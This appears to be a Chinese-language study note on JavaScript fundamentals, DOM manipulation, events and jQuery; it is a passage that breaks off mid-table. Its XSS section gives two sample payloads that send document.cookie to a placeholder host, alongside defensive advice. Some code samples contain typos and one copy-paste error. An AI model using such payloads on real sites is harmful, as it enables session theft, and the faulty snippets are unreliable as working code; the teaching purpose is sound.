# JavaScript 筆記 :back: [回主目錄](/@Chanry/S1aqSdUxu) ###### tags: `前端筆記` [TOC] ## 基本語法 * 敘述句(statement)程式碼每個指令或步驟。 * 註解(comments) * 變數 => 用駝峰命名法 * 陣列(array) * 實字(literal)`colors = ['white','black'];` * 建構子(constructor)`colors = new Array('white','block');` * 運算式(expressions)當中的運算子(operators) * 指定(assing)`color = 'beige';`(+, -, *, /, ++, --, %) * 算術(arithmetic)`area = 3 * 2;` * 字串(string)`greeting = 'Hi' + 'Molly';` * 比較(comparison)`buy = 3 > 5;` * 邏輯(logical)`buy = (5>3) && (2<4);` ## 函式、物件 ### 函式(function)組合一系列敘述句,以執行特定工作。 ```javascript= // 函式 function sayHello() { 敘述句 } sayHello(); // 自函式 function getSize(width,height,depth) { return [width*height,width*height*depth]; } var areaOne = getSize(3,2,3)[0]; // 命名函式 - 解譯器優先 function area(width,height) { return width*height; } var size = area(3,4); // 匿名函式 - 解譯器逐行、程式只會被執行一次時運用 var area = function(width,height) { return width*height; } var size = area(3,4); // 立即執行函式(IIFE) - 解譯器逐行、程式只會被執行一次時運用 var area = (function() { return 3*2; }()); ``` ### 物件(object) :::info 物件中的變數 稱為特性 物件中的函式 稱為方法 ::: ```javascript= // 實字表示法 var hotel = { name: 'Quay', rooms:'40', checkAvalabibity: function(){ return 'Hi' + this.name; } } // 或 var hotel = {} hotel.name = 'Quay'; hotel.rooms = '40'; hotel.checkAvalabibity = function(){ return 'Hi' + this.name; } // 建構子表示法 - 建構單個物件 var hotel = new Object(); hotel.name = 'Quay'; hotel.rooms = '40'; hotel.checkAvalabibity = function(){ return 'Hi' + this.name; } // 建構子表示法 - 建構多個物件 function Hotel(name, rooms, booked) { this.name = name; this.rooms = rooms; this.checkAvailability = function() { return 'Hi' + this.name; }; } var quayHotel = new Hotel('Quay', 40); var parkHotel = new Hotel('Park', 120); // 句點表示法 var hotelName = hotel.name; var hotelName = hotel['name']; //取得特性 // 變更物件 hotel.name = 'Park'; //修改特性值、不存在特性則新增 hotel['name'] = 'Park'; //修改特性名、不存在特性則新增 delete hotel.name; //刪除特性 hotel.name = ''; //特性值重設 ``` ### 內建物件(Built-in Objects) #### 瀏覽器物件模型 BOM(Browser Object Model) ![](https://i.imgur.com/s2J6IAF.jpg =300x) | 特性 | 說明 | | -------- | -------- | | window.innerHeight | 視窗高度 | | window.innerWidth | 視窗寬度 | | window.pageXoffset | 水平捲動距離 | | window.pageYoffset | 垂直捲動距離 | | window.screenX | 滑鼠X座標 | | window.screenY | 滑鼠Y座標 | | window.location | 目前URL | | window.document | 頁面內容 | | window.history | 瀏覽紀錄(.length) | | window.screen | screen資訊(.width,.height)| | 方法 | 說明 | | -------- | -------- | | window.alert() | 彈出對話框 | | window.open() | 指定URL開新視窗 | | window.print() | 呼叫Browser列印 | #### 文件物件模型 DOM(Document Object Model) ![](https://i.imgur.com/NM5nZzw.jpg =300x) | 特性 | 說明 | | -------- | -------- | | document.title | 頁面標題 | | document.lastModified | 最後被修改時間 | | document.URL | 目前URL | | document.domain | 頁面之網域 | | 方法 | 說明 | | -------- | -------- | | document.write() | 將文字寫入文件 | | document.getElementById() | 取得指定ID的元件 | | document.querySelectorAll() | 取得CSS選擇器的元件 | | document.createElement() | 建立新元件 | | document.createTextNode() | 建立新的文字節點 | [詳細補充自下方章節](https://hackmd.io/R2ZaACOMTTehRvAxfUXQ-w?view#%E6%96%87%E4%BB%B6%E7%89%A9%E4%BB%B6%E6%A8%A1%E5%9E%8B) #### 全域 JavaScript 物件(以 ECMAScript 標準為基礎) ![](https://i.imgur.com/pPPgapG.jpg =300x) ##### 1. string 物件 | H | o | m | e | | s | w | e | e | t | | h | o | m | e | | | - | - | - | - | - | - | - | - | - | - | - | - | - | - | - | - | | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | ```javascript= var saying = 'Home sweet home '; saying.length; // 16 saying.toUpperCase(); // 'HOME SWEET HOME ' saying.toLowerCase(); // 'home sweet home ' saying.charAt(12); // 'o' saying.indexof('ee'); // 7 saying.lastIndexof('e'); // 14 saying.substring(8,14); // 'et hom' saying.split(''); // ['Home', 'sweet', 'home', ''] saying.trim(); // 'Home sweet home' saying.replace('me','w'); // 'How sweet home' ``` ##### 2. number 物件 | 方法 | 說明 | | -------- | -------- | | isNaN() | 檢查是否為數值 | | toFixed() | 四捨五入至小數點後指定位數(回傳為字串) | | toPrecision() | 四捨五入至指定的整數位數(回傳為字串) | | toExponential() | 以指數表示法顯示數值(回傳為字串) | * 整數(integer) * 浮點數(floating point number) * 實數(real number) => 整數 ∪ 浮點數 * 科學記號表示法(scientific notation) ##### 3. math 物件 | 特性 | 說明 | | -------- | -------- | | Math.PI | 回傳pi常數值 | | 方法 | 說明 | | -------- | -------- | | Math.round() | 四捨五入 | | Math.sqrt(n) | 開根號 | | Math.ceil() | 取大於等於整數 | | Math.floor() | 取小於等於整數 | | Math.random() | 產生隨機0~1值 | ##### 4. date 物件 ```javascript= var today = new Date(); ``` | 方法 | 說明 | | -------- | -------- | | getFullYear(), setFullYear() | 回傳, 設定年份(4位數) | | getMonth(), setMonth() | 回傳, 設定月份(0-11) | | getDate(), setDate() | 回傳, 設定日期(1-31) | | getDay() | 回傳星期(0-6) | | getHours(), setHours() | 回傳, 設定小時(0-23) | | getMinutes(), setMinutes() | 回傳, 設定分鐘(0-59) | | getSeconds(), setSeconds() | 回傳, 設定秒數(0-59) | | getMilliseconds(), setMilliseconds() | 回傳, 設定毫秒(0-999) | | getTime(), setTime() | 回傳, 設定從1970/01/01 00:00:00至此物件時間值(Unix時間) | | getTimezoneOffset() | 回傳本機與UTC差異分鐘數 | | toDateString() | 回傳具可讀性的日期字串(Wed Apr 16 1975) | | toTimeString() | 回傳具可讀性的時間字串 | | toString() | 回傳日期時間的字串 | ###### 計算倆時間差距 ```javascript= var today = new Date(); var year = today.getFullYear(); var est = new Date('Apr 16, 1996 15:45:55'); var difference = today.getTime() - est.getTime(); difference = (difference / 31556900000); //除一年毫秒數 var elMsg = document.getElementById('message'); elMsg.textContent = Math.floor(difference); ``` ###### 計算房間優惠價格截止日(加7天、補月份、星期名稱回傳) ```javascript= var expiryMsg; var today; var elEnds; function offerExpires(today) { var weekFromToday, day, date, month, year, dayNames, monthNames; // 加七天(毫秒) weekFromToday = new Date(today.getTime() + 7 * 24 * 60 * 60 * 1000); dayNames = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']; monthNames = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; day = dayNames[weekFromToday.getDay()]; date = weekFromToday.getDate(); month = monthNames[weekFromToday.getMonth()]; year = weekFromToday.getFullYear(); expiryMsg = '優惠到期於 '; expiryMsg += day + ' <br />(' + date + ' ' + month + ' ' + year + ')'; return expiryMsg; } today = new Date(); elEnds = document.getElementById('offerEnds'); elEnds.innerHTML = offerExpires(today); ``` ##### 5. regex 物件 :::danger 待補充 ::: ### this 關鍵字 ```javascript= // 全域範圍 - 函式 var width = this.innerWidth; // this = window object // 全域範圍 - 變數 var width = 600; var ans = this.width; // this = window object, ans = 600 // 物件範圍 var shape = { width:600, height:400, getArea: function() { return this.width * this.height; } }; ``` ## 決策、迴圈 :::warning 此處較程式基本。 ::: ### 比較運算子 | 運算子 | 名稱 | 說明 | | -------- | -------- | -------- | | == | 等於 | | | != | 不等於 | | | === | 嚴格等於 | 型別與值都需相同 | | !== | 嚴格不等於 | 型別與值都需不相同 | | > | 大於 | | | < | 小於 | | | >= | 大於等於 | | | <= | 小於等於 | | ### 邏輯運算子 | 運算子 | 名稱 | 說明 | | -------- | -------- | -------- | | && | AND | | | \|\| | OR | | | ! | NOT | | ### 條件判斷式 #### if else ```javascript= if (score > pass) { msg = '過關'; } else { msg = '重讀'; } ``` #### switch ```javascript= switch (level) { case 1: msg = 'Good luck on the first test'; break; case 2: msg = 'Second of three - keep going!'; break; case 3: msg = 'Final round, almost there!'; break; default: msg = 'Good luck!'; break; } ``` ### 型別 > 遇無法理解型別,JS會試著運算合理化,而非直接回報錯誤。 > 型別:string, number, boolean, null, undefined * 強型別(strong typing) * 弱型別(weak typing) => JS為此種型別,接受假值 ### 真假值 * 假值(falsy) => 視為false ```javascript= var a = false; //布林false var a = 0; //數字0 var a = ''; //空值 var a = 10/'score'; //NaN var a; //undefined ``` > 例外:nul和undefined雖然為假值,但除了和本身比較外,和其他值都不會相等。 * 真值(truthy) => 視為true > 假值以外皆為真。 ### 捷徑值 ```javascript= // artistA = artist,兩真值。 var artist = 'Rem'; var artistA = (artist || 'Unknown'); // artistA = 'Unknown',假真值。 var artist = ''; var artistA = (artist || 'Unknown'); // artistA = {},假真值。 var artist = ''; var artistA = (artist || {}); ``` ### 型別比較 - 三位一體 ![](https://i.imgur.com/BMGWN1k.jpg) ![](https://i.imgur.com/dxEuEPj.jpg) ### 迴圈 #### for ```javascript= for (var i=0; i<10; i++) { document.write(i); // break // continue } ``` #### while ```javascript= while (i<10) { meg += i; i++; } ``` #### do while ```javascript= do { meg += i; i++; } while (i<10); ``` ## 文件物件模型 ### 存取元件 ```javascript= // 選取單一節點 var a = getElementById('id') var a = querySelector('css selector') //回傳第一個 // 選取一或多節點 var a = getElementByClassName('class') var a = getElementByTagName('tagName') var a = querySelectorAll('css selector') //回傳全部 // DOM巡訪 var a = getElementById('id').parentNode; // 父節點 var a = getElementById('id').previousSibling; // 兄弟節點 - 前 var a = getElementById('id').nextSibling; // 兄弟節點 - 後 var a = getElementById('id').firstChild; // 子節點 - 第一個 var a = getElementById('id').lastChild; // 子節點 - 最後一個 ``` > 因空白或換行有些瀏覽器會產生文字節點,影響兄弟、子節點選擇,可用JQ解決。 ### 操作元件 ```javascript= // item()方法 var a = getElementByClassName('class').item(0); // 陣列語法 => 使用較快速 var a = getElementByClassName('class')[0]; // 文字節點 var a = getElementById('id').nodeValue; // 元件節點 var a = getElementById('id').innerHTML; var a = getElementById('id').textContent; var a = getElementById('id').innerText; // 注意支援度、CSS隱藏、效能較差 ``` #### 在DOM樹變更元件 * document.write() => 只在頁面載入時可用,且會覆寫,應少用 * innerHTML => 較有效率,但不安全(可能遭XSS攻擊) * createElement() => 較沒效率,但安全 ```javascript= // 創建 加入 var newEl = document.createElement('li'); var newText = document.createTextNode('quinoa'); newEl.appendChild(newText); // 將文字節點放入元件節點下 // 尋找 加入 var position = document.getElementsByTagName('ul')[0]; position.appendChild(newEl); // 尋找 找父節點 刪除 var removeEl = document.getElementsByTagName('li')[3]; var containerEl = document.getElementsByTagName('ul')[0]; containerEl.removeChild(removeEl); ``` #### 屬性節點 ```javascript= var a = getElementById('one').getAttribute('class'); // 取得id=one之元件的class屬性值 var a = getElementById('one').hasAttribute('class'); // 檢查id=one之元件是否有此屬性 var a = getElementById('one').setAttribute('class', 'cool'); // 取得id=one之元件並加入cool至class屬性中 var a = getElementById('one').removeAttribute('class'); // 取得id=one之元件並移除class屬性 ``` ### 跨網站指令碼攻擊(XSS) > 若使用innerHTML或其他JQ方法,要注意XSS攻擊。 > XSS是讓對方有機會放入自己的程式碼。 #### 是如何攻擊? ```htmlembedded= <!-- 將cookie藏於變數,回傳給第三方伺服器 --> <script>var adr='http://example.com/xss.php?cookie=' + escape(document.cookie);</script> <!-- 遺失圖片觸發惡意程式碼 --> <img src="http://nofile" onerror="adr='http://example.com/xss.php?cookie=' + escape(document.cookie)";> ``` #### 該如何防範 * 送往伺服器的資料需驗證 * 使用者輸入驗證,合理範圍 * 伺服器端再次驗證,使用者可能關閉前端JS * 來自伺服器的資料進行字元跳脫 * 未受信任來源不可建立DOM,只可經過字元跳脫,以文字方式加入 * 不使用DOM的 innerHTML 和JQ的 .html() ## 事件 ### 事件處理器 #### HTML事件處理器 > 已較少使用,因較好方式為JS、HTML分離。 ##### 註冊時檢查帳號 ```htmlembedded= <form method="post" action="http://www.example.org/register"> <label for="username">設定帳號: </label> <input type="text" id="username" onblur="checkUsername()" /> <div id="feedback"></div> <label for="password">設定密碼: </label> <input type="password" id="password" /> <input type="submit" value="註冊" /> </form> ``` ```javascript= function checkUsername() {} ``` #### 傳統DOM事件處理器 > 單一觸發 > 例如同個submit事件無法觸發一個檢查表單內容函式後再觸發資料傳輸函式。 ```javascript= function checkUsername() {} var elUsername = document.getElementById('username'); elUsername.onblur = checkUsername; ``` #### DOM Level 2 事件監聽器 > 於2000年推出,較推薦方式,支援度問題可用方法解決(IE9+)。 ```javascript= function checkUsername() {} var elUsername = document.getElementById('username'); elUsername.addEventListener('blur', checkUsername, false); // false為事件流程模式,用事件氣泡 ``` ##### 失去焦點時,檢查使用者名稱是否過短 > 因監聽所呼叫函式名稱無小括號,故要傳入數值則需運用匿名函式。 ```javascript= var elUsername = document.getElementById('username'); var elMsg = document.getElementById('feedback'); function checkUsername(minLength) { if (elUsername.value.length < minLength) { elMsg.innerHTML = '使用者名稱長度必須多於 ' + minLength + '字'; } else { elMsg.innerHTML = ''; } } elUsername.addEventListener('blur', function() { checkUsername(5); }, false); ``` > 可用attachEvent支援舊IE5-8。 ```javascript= if (elUsername.addEventListener) { elUsername.addEventListener('blur', function(){ checkUsername(5); }, false); } else { elUsername.attachEvent('onblur', function(){ checkUsername(5); }); } ``` ### 事件流程 #### 事件氣泡(Event Bubbling) > 由內向外循序啟動,多數瀏覽器支援,預設事件流程。 > \<a> => Document #### 事件捕捉(Event Capturing) > 由外向內循序啟動,IE9+。 > Document => \<a> ### event 物件 / 事件委派 > 當事件發生時,event 物件可以告訴你事件的相關資訊,和觸發事件的目標元件。 | 特性 | IE5-8 | 說明 | | -------- | -------- | -------- | | target | srcElement | 事件的目標元件 | | type | type | 被啟動的事件類型 | | cancelable | 不支援 | 是否元件預設的行為可被取消 | | 方法 | IE5-8 | 說明 | | -------- | -------- | -------- | | prevenDefault | returnValue | 取消元件預設的行為(如果可被取消) | | stopPropagation | cancelBubble | 停止事件氣泡或事件捕捉進行 | #### 事件監聽器 - 不需傳遞參數 ```javascript= function checkUsername(e) {} var elUsername = document.getElementById('username'); elUsername.addEventListener('blur', checkUsername, false); ``` #### 事件監聽器 - 需傳遞參數 ```javascript= function checkUsername(e, minLength) {} elUsername.addEventListener('blur', function(e) { checkUsername(e, 5); }, false); ``` #### 支援度檢查 ##### 失去焦點時,檢查使用者名稱是否過短 ```javascript= function checkLength(e, minLength) { var el, elMsg; if (!e) { //如果不支援 e = window.event; //使用早期方式 } el = e.target || e.srcElement; //取得事件發生的目標元件 elMsg = el.nextSibling; //取得它的兄弟元件節點 if (el.value.length < minLength) { elMsg.innerHTML = '使用者名稱長度必須多於 ' + minLength + '字'; } else { elMsg.innerHTML = ''; } } var elUsername = document.getElementById('username'); if (elUsername.addEventListener) { //如果支援事件監聽器 elUsername.addEventListener('blur', function(e) { checkLength(e, 5); }, false); } else { elUsername.attachEvent('onblur', function(e) { checkLength(e, 5); }); } ``` #### 變更預設行為 ##### 防止使用者因點擊超連結或算出表單而前往新頁面(有考慮到支援度) ```javascript= if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false; } ``` ##### 一旦針對一元件變更預設行為後,也需停止氣泡向上(有考慮到支援度) ```javascript= if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false; } ``` #### 事件委派 > 教學影片:https://youtu.be/3cTdztTmtL0 :::info 利用上述所學: 例如一個div內有三個btn,我們可以把事件寫在div,然後用target取得目標元件。 ::: ```htmlembedded= <div id="menu"> <button date-key="add">新增</button> <button date-key="update">修改</button> <button date-key="remove">刪除</button> </div> ``` ```javascript= let menu = document.querySelector("#menu"); menu.addEventListener('click', function(e){ let key = e.target.getAttribute("data-key"); console.log(key); }, false); ``` ### 介面事件 | 事件 | 說明 | | -------- | -------- | | load | 頁面內容載入完成 | | unload | 頁面內容停止載入(使用者載入新頁面) | | error | JS錯誤 | | resize | 瀏覽器視窗調整尺寸大小 | | scroll | 瀏覽器捲軸上下拉動 | #### load 事件 ##### 當頁面載入時,將游標聚焦於 username 元件上 ```javascript= function setup() { var textInput; textInput = document.getElementById('username'); textInput.focus(); } window.addEventListener('load', setup, false); ``` ### 鍵盤事件 | 事件 | 說明 | | -------- | -------- | | keydown | 使用者按下按鍵 | | keyup | 使用者釋放按鍵 | | keypress | 使用者按下按鍵輸入字元 | #### 打字時計算字數 ```javascript= function charCount(e) { var textEntered, charDisplay, counter, lastkey; textEntered = document.getElementById('message').value; charDisplay = document.getElementById('charactersLeft'); counter = (180 - (textEntered.length)); charDisplay.textContent = counter; lastkey = document.getElementById('lastKey'); lastkey.textContent = 'ASCII code: ' + e.keyCode; } var el = document.getElementById('message'); el.addEventListener('keyup', charCount, false); ``` ### 滑鼠事件 | 事件 | 說明 | | -------- | -------- | | click | 使用者於相同元件上按下並釋放滑鼠 | | dbclick | 使用者於相同元件上連續兩次按下並釋放滑鼠 | | mousedown | 使用者於元件上按下滑鼠 | | mouseup | 使用者於元件上釋放滑鼠 | | mousemove | 使用者移動滑鼠(非在觸控螢幕上) | | mouseover | 使用者移動滑鼠經過元件(非在觸控螢幕上) | | mouseout | 使用者移動滑鼠離開元件(非在觸控螢幕上) | #### 移動滑鼠時,更新位置資訊 ```javascript= var sx = document.getElementById('sx'); var sy = document.getElementById('sy'); var px = document.getElementById('px'); var py = document.getElementById('py'); var cx = document.getElementById('cx'); var cy = document.getElementById('cy'); function showPosition(e) { sx.value = e.screenX; sy.value = e.screenY; px.value = e.pageX; py.value = e.pageY; cx.value = e.clientX; cy.value = e.clientY; } var el = document.getElementById('body'); el.addEventListener('mousemove', showPosition, false); ``` ### 聚焦事件 | 事件 | 說明 | | -------- | -------- | | focus / focusin | 元件取得焦點 | | blur / focusout | 元件失去焦點 | ### 表單事件 | 事件 | 說明 | | -------- | -------- | | input | 在\<input\>或\<textarea\>中的值被變更(IE9+)或其他元件具有contenteditable | | change | 在下拉式選單、多選核取框、單選按鈕的值被變更(IE9+) | | submit | 使用者送出表單(按按鈕) | | reset | 使用者按重置按紐 | | cut | 使用者自表單欄位剪下內容 | | copy | 使用者自表單欄位複製內容 | | paste | 使用者貼上內容置表單欄位中 | | select | 使用者於表單欄位中選取文字 | #### 更改選項時顯示折扣訊息,送出時檢查是否勾選同意核取框 ```htmlembedded= <form method="post" action="http://www.example.org/register" id="formSignup"> <h2>Membership</h2> <label for="package" class="selectbox"> 選擇方案: </label> <select id="package"> <option value="annual">1年 ($50)</option> <option value="monthly">1個月 ($5)</option> </select> <div id="packageHint" class="tip"></div> <input type="checkbox" id="terms" /> <label for="terms" class="checkbox">勾選同意條款</label> <div id="termsHint" class="warning"></div> <input type="submit" value="next" /> </form> ``` ```javascript= var elForm, elSelectPackage, elPackageHint, elTerms, elTermsHint; elForm = document.getElementById('formSignup'); elSelectPackage = document.getElementById('package'); elPackageHint = document.getElementById('packageHint'); elTerms = document.getElementById('terms'); elTermsHint = document.getElementById('termsHint'); function packageHint() { var pack = this.options[this.selectedIndex].value; if (pack === 'monthly') { elPackageHint.innerHTML = '如果您購買一年,可節省10$!'; } else { elPackageHint.innerHTML = '明智的選擇!'; } } function checkTerms(event) { if (!elTerms.checked) { elTermsHint.innerHTML = '你必須同意條款'; event.preventDefault(); } } elForm.addEventListener('submit', checkTerms, false); elSelectPackage.addEventListener('change', packageHint, false); ``` ### 變動事件 | 事件 | 說明 | | -------- | -------- | | DOMSubtreeModified | 文件被變更 | | DOMNodeInserted | 文件節點被插入 | | DOMNodeRemoved | 文件節點被移除 | | DOMNodeInsertedIntoDocument | 文件節點安插在另一個節點下,作為其後代節點時 | | DOMNodeRemovedFromDocument | 文件節點自另一個節點中移除,不再作為其後代子節點時 | #### 按鈕按下新增li,計數器檢測到變動後,更新計數器 ```htmlembedded= <ul id="list"> <li>原本的元件</li> </ul> <div class="button"><a href="/additem" class="add">新增元件</a></div> ``` ```javascript= var elList, addLink, newEl, newText, counter, listItems; elList = document.getElementById('list'); addLink = document.querySelector('a'); counter = document.getElementById('counter'); function addItem(e) { e.preventDefault(); newEl = document.createElement('li'); newText = document.createTextNode('新元件'); newEl.appendChild(newText); elList.appendChild(newEl); } function updateCount() { listItems = elList.getElementsByTagName('li').length; counter.innerHTML = listItems; } addLink.addEventListener('click', addItem, false); elList.addEventListener('DOMNodeInserted', updateCount, false); ``` ### HTML5 事件 | 事件 | 說明 | | -------- | -------- | | DOMContentLoaded | DOM樹被建立時<br>(圖片、CSS、JS可能還在載入,比load早) | | hashchange | URL的hash結果變更<br>(用於連結頁面指定區塊,也可用以載入AJAX請求頁面) | | beforeunload | 頁面內容開始卸載前<br>(用於離開表單時提示尚未儲存) | #### 使用者離開表單頁面時,提醒還沒存檔 ```javascript= window.addEventListener('beforeunload', function(event) { var message = '您尚未存檔,確定要離開嗎'; (event || window.event).returnValue = message; return message; }); ``` ## jQuery > $()就是jQuery * jQ能幹嘛? * 利用jQ CSS樣式選擇器選取物件 * $('li.hot') * 利用jQ 方法對元件進行操作 * $('li.hot').addClass('complete'); * 為何使用jQ? * 簡單的元件選擇器 * 以較少程式達成相同工作 * 元件巡訪隱性重複執行 * 鏈結語法 * 跨瀏覽器相容性 ### 選擇器 #### 基本選擇器 | 選擇器 | jQ | 說明 | | -------- | -------- | -------- | | * | | 所有元件 | | element | | 具此標籤之元件 | | #id | | 具此id屬性值之元件 | | .class | | 具此class屬性值之元件 | | selector1, selector2 | | 符合多選擇器篩選條件之元件 | #### 階層結構 | 選擇器 | jQ | 說明 | | -------- | -------- | -------- | | ancestor descendant | | 一個元件下的子孫元件 | | parent > child | | 一個元件下的直接子元件<br>(child可用*就是全部子元件) | | previous + next | | 一個元件的下一個直接兄弟元件 | | previous ~ siblings | | 一個元件的所有兄弟元件 | #### 基本選擇條件 | 選擇器 | jQ | 說明 | | -------- | -------- | -------- | | :not(selector) | | 括號內除外 | | :first | jQ | 元件集合中第一個元件 | | :last | jQ | 元件集合中最後一個元件 | | :even | jQ | 元件集合中偶數索引值的元件 | | :odd | jQ | 元件集合中奇數索引值的元件 | | :eq(index) | jQ | 元件集合中索引值等於index的元件 | | :gt(index) | jQ | 元件集合中索引值大於index的元件 | | :lt(index) | jQ | 元件集合中索引值小於index的元件 | | :header | jQ | 所有\<h1> - \<h6>元件 | | :animated | jQ | 所有套用動畫效果功能的元件 | | :focus | | 目前聚焦的元件 | #### 內容選擇器 | 選擇器 | jQ | 說明 | | -------- | -------- | -------- | | :contains('text') | | 元件包含參數所指定的文字 | | :emply | | 所有無子元件的元件 | | :parent | jQ | 所有有子元件的元件 | | :has(selector) | jQ | 元件包含至少一個符合選擇器條件的元件<br>(例如div:has\(p\)可篩選出所有包含p元件的div元件) | #### 可視性選擇器 | 選擇器 | jQ | 說明 | | -------- | -------- | -------- | | :hidden | jQ | 所有隱藏的元件 | | :visible | jQ | 所有在頁面上有佔據顯示空間的元件不會被選取(?) | #### 子元件選擇器 | 選擇器 | jQ | 說明 | | -------- | -------- | -------- | | :nth-child(n) | | 第n個元件,但不可為0 | | :first-child | | 元件集合的第一個子元件 | | :last-child | | 元件集合的最後一個子元件 | | :only-child | | 只有一個子元件的元件 | #### 屬性選擇器 | 選擇器 | jQ | 說明 | | -------- | -------- | -------- | | \[attribute\] | | 具備此屬性的元件 | | \[attribute='value'\] | | 具備此屬性和屬性值的元件 | | \[attribute!='value'\] | jQ | 具備此屬性但非此屬性值的元件 | | \[attribute^='value'\] | | 具備此屬性和屬性值以value起始的元件 | | \[attribute$='value'\] | | 具備此屬性和屬性值以value結尾的元件 | | \[attribute*='value'\] | | 具備此屬性和屬性值中有value文字的元件 | | \[attribute\|='value'\] | | 具備此屬性和屬性值等於,或以value起始並接續連結符號'-'的元件 | | \[attribute\~='value'] | | 具備此屬性和屬性值其中之一是value的元件 | | \[attribute\]\[attribute2\] | | 符合所有篩選條件的元件 | #### 表單選擇器 | 選擇器 | jQ | 說明 | | -------- | -------- | -------- | | :input | jQ | 所有輸入框元件 | | :text | jQ | 所有文字元件 | | :password | jQ | 所有密碼輸入框元件 | | :radio | jQ | 所有單選按鈕元件 | | :checkbox | jQ | 所有多選核取盒元件 | | :submit | jQ | 所有送出按紐元件 | | :image | jQ | 所有\<img>元件 | | :reset | jQ | 所有重置按鈕元件 | | :button | jQ | 所有\<button>元件 | | :file | jQ | 所有檔案上傳元件 | | :selected | jQ | 所有下拉式選單被選取的選項元件 | | :enabled | | 所有被啟用的元件(預設) | | :disabled | | 所有被停用的元件 | | :checked | | 所有被選擇的單選按鈕或多選核取盒的選項元件 | ### 事件監聽器 #### 文件 / 檔案 | 方法 | 說明 | | -------- | -------- | | .ready() | 當DOM載入完成就會執行(不會等所有資源均載入) | | .load() |當頁面所有資源載入完成後執行 | ```javascript= $(document).ready(function(){ }); // 縮寫 $(function(){ }); ``` ### 內容選擇器 #### 取得 / 變更內容 | 方法 | 說明 | | -------- | -------- | | .html() | 從元件集合中取第一個元件的HTML內容與其子孫元件,<br>可設定全部元件集合新內容 | | .text() | 從元件集合中取每個元件的文字內容,<br>可設定全部元件集合新文字 | | .replaceWith() | 將元件集合中每個元件取代為新內容 | ```javascript= // 取得ul中的li並加回ul中 var $listHTML = $('ul').html(); $('ul').append($listHTML); // 取得第一個li並放至每個li中 var $listItemHTML = $('li').html(); $('li').append('<i>' + $listItemHTML + '</i>'); ``` ```javascript= // 每個元件的文字都被變更為置於<em>中 $('li.hot').html(function(){ return '<em>' + $(this).text() + '</em>'; }); // 取出包含pine的清單元件,接著將文字變更為almonds $('li:contains("pine")').text('almonds'); ``` ##### this 與 $(this)差別 * this指的是html元素的"div",用來取得該div的屬性。 * $(this)則是指jQuery的物件,用來執行jQuery的方法。 #### 插入元件 | 方法 | 說明 | | -------- | -------- | | .before() | 將內容插入在選取的元件之前 | | .after() | 將內容插入在選取的元件之後 | | .prepend() | 將內容插入在選的元件之內,於元件起始標籤之後 | | .append() | 將內容插入在選的元件之內,於元件起始標籤之前 | ![](https://i.imgur.com/fc58wWp.jpg =300x) #### 移除 / 複製元件 | 方法 | 說明 | | -------- | -------- | | .remove() | 將元件集合中所有子孫元件、文字元件刪除 | | .detach() | 如.remove(),但會在記憶體中保留一份相同的複製資料 | | .empty() | 將元件集合中所有子元件、子孫元件刪除 | | .unwrap() | 將元件集合中所有父元件刪除,保留符合條件的元件 | | .clone() | 複製出一份選取集合的副本(包含所有子孫元件和文字元件) | ```javascript= var $p = $('p'); var $clonedQuote = $p.clone(); $p.remove(); $clonedQuote.insertAfter('h2'); var $moveItem = $('#one').detach(); $moveItem.appendTo('ul'); ``` #### 擷取和設定屬性值 | 方法 | 說明 | | -------- | -------- | | .attr() | 擷取或設定一個指定的屬性和值 | | .removeAttr() | 移除一個指定的屬性和值 | | .addClass() | 加入屬性值到既有的class中,不會覆寫既有屬性值 | | .removeClass() | 自class中移除屬性值 | ```javascript= // 擷取 $('li#one').attr('id'); // 設定,需指定一個新的值 $('li#one').attr('id', 'hot'); ``` #### 擷取和設定CSS特性 | 方法 | 說明 | | -------- | -------- | | .css() | 擷取或設定CSS特性 | ```javascript= // 擷取 var backgroundColor = $('li').css('background-color'); // 設定,需指定一個新的值,或+= -=表示增加減少 $('li').css('background-color', '#272727'); $('li').css('padding-left', '+=20'); // 用物件實字表示法設定多特性 $('li').css({ 'background-color': '#272727', 'font-family': 'Courier' }); ``` #### 巡訪所有元件 | 方法 | 說明 | | -------- | -------- | | .each() | 巡訪所有元件(index參數可以當計數器) | ```javascript= // 將id屬性值顯示在每個li後 $('li').each(function() { var ids = this.id; //this取得巡訪時的元件id $(this).append(' <span class="order">' + ids + '</span>'); //$(this)建立包含目前元件的jQ物件 }); ``` ##### each 與 for each 差別(i為索引,item為元素) * JS * arr.forEach(function(item,i){} * jQuery * $.each(arr,function(i,item){} ### 事件處理器 #### 使用者互動 > 較舊版本會用.click()或.focus(),現在都改用.on()即可 | 方法 | 說明 | | -------- | -------- | | .on() | 處理所有事件 | * 使用者介面 * focus, blur, change * 鍵盤 * input, keydown, keyup, keypress * 滑鼠 * click, dblclick, mouseup, mousedown,<br>mouseover, mousemove, mouseout, hover * 表單 * submit, select, change * 文件頁面 * ready, load, unload * 瀏覽器 * error, resize, scroll ```javascript= $(li).on('click', function(){ $(this).addClass('complete'); }); ``` #### event 物件 > 每個事件處理函式都需接收一個event物件,得知事件相關的方法與特性 | 特性 | 說明 | | -------- | -------- | | type | 事件類型 | | which | 按下的是滑鼠或鍵盤 | | data | 額外資訊(下面補充) | | target | 事件起始的DOM元件 | | pageX | 滑鼠位置與可視範圍左端距離 | | pageY | 滑鼠位置與可視範圍頂端距離 | | timeStamp | 自西元1970/01/01至事件被觸發時間毫秒數 | | 方法 | 說明 | | -------- | -------- | | .preventDefault() | 取消預設行為(例如送出表單) | | .stopPropagation() | 停止事件氣泡傳遞至祖先節點 | #### 事件處理器其他參數 ```javascript= // events 欲回應的事件名稱(如有多個事件,可用空白相隔) // selector 可進一步篩選子孫元件 // data 傳遞額外資訊至函式中,與event物件一同傳遞 .on(events[, selector][, data], function(e)); ``` ##### 使用者點擊或滑過清單時,除了最後一個清單,其餘皆印出元件資訊 ```javascript= var listItem, itemStatus, eventType; $('ul').on( 'click mouseover', ':not(#four)', {status: 'important'}, function(e) { listItem = 'Item: ' + e.target.textContent + '<br />'; itemStatus = 'Status: ' + e.data.status + '<br />'; eventType = 'Event: ' + e.type; $('#notes').html(listItem + itemStatus + eventType); } ); ``` ### 特效和動畫 #### 基本特效 | 方法 | 說明 | | -------- | -------- | | .show() | 顯示元件 | | .hide() | 隱藏元件 | | .toggle() | 在顯示與隱藏間切換 | #### 淡化特效 | 方法 | 說明 | | -------- | -------- | | .fadeIn() 